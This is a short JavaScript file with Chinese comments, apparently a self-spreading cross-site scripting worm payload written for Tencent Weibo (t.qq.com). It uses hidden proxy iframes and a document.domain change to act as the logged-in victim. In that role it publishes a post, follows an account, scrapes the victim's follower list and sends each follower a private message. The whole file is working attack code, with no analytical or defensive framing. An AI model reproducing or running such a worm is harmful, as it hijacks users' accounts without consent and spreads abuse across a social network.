//设置document.domain
document.domain = "qq.com";
//跨t.qq.com域
var tdiv = document.createElement("div");
tdiv.innerHTML = "<iframe id='crossTdomain' src='http://t.qq.com/proxy.html' style='display:none' onload=main()></iframe>";
document.body.appendChild(tdiv);
//POST发送数据
function post(url,data,sync,xmlHttp){
xmlHttp.open("POST",url,sync);
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
xmlHttp.send(data);
}
//获得当前微博ID
function getowner(){
url = "http://t.qq.com/asyn/home.php";
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
return eval("(" + result + ")").info.user;
}
//发微博
function publish(){
url = "http://t.qq.com/publish.php";
data = "content=" + encodeURIComponent("bbb");
post(url,data,true,xmlHttp);
}
//收听微博
function following(){
url = "http://t.qq.com/follow.php";
data = "u=xxxxx&r=1309401828421&veriCode=";
post(url,data,true,crossTdomain);
}
//获取所有听众ID
function getfollower(){
url = "http://t.qq.com/" + owner + "/follower";
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
var followers = [];
var patrn = /@(.+?)\)"><img/ig;
while((follower = patrn.exec(result)) != null){
followers.push(follower[1]);
}
return followers;
}
//发私信
function msg(followers){
crossPMdomain = document.getElementById("crossPMdomain").contentWindow;
for (i=0;i<followers.length;i++)
{
url = "http://pm.t.qq.com/cgi-bin/pm_mgr"
data = "source=new&ptid=&roomid=&content=hi&fid=&target="+ followers[i] +"&func=send&ef=js&pmlang=zh_CN";
pmxmlHttp = crossPMdomain.xmlHttp();
post(url,data,false,pmxmlHttp);
}
}
function main(){
//获取t.qq.com域下xmlHttp()函数
xmlHttp = crossTdomain.xmlHttp();
//调用功能函数
owner = getowner();
publish();
followers = getfollower();
//跨pm.t.qq.com域,发送私信
var pmdiv = document.createElement("div");
pmdiv.innerHTML = "<iframe id='crossPMdomain' src='http://pm.t.qq.com/pmweb/zh_CN/htmledition/wbpm_proxy.html' style='display:none' onload=msg(followers)></iframe>";
document.body.appendChild(pmdiv);
} |